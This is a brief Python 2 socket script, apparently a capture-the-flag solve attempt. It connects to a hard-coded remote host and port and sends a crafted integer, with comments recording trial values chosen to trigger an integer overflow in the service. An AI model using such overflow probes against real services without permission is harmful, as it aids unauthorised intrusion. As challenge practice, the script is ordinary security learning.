import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
s.connect(('188.166.133.53',12049))
    
data = s.recv(1024)
    
print data

#print "sending " + str(2147483648)
sending = 0.0
#sending = - float(1333.0/7.0)
# 1338 = -613566566
# 1335 = -1227133323
# 1339 = -1840700079


sending = 613566947
print "Sending this: " + str(sending)
s.send(str(sending) + "\n")
#s.send("-191)" + "\n")
#s.send(str("abcdfghijklmn") + "\n")
data = s.recv(4096)
print data
data = s.recv(1024)
print data
data = s.recv(1024)
print data
data = s.recv(1024)
print data
data = s.recv(1024)
print data

s.close()

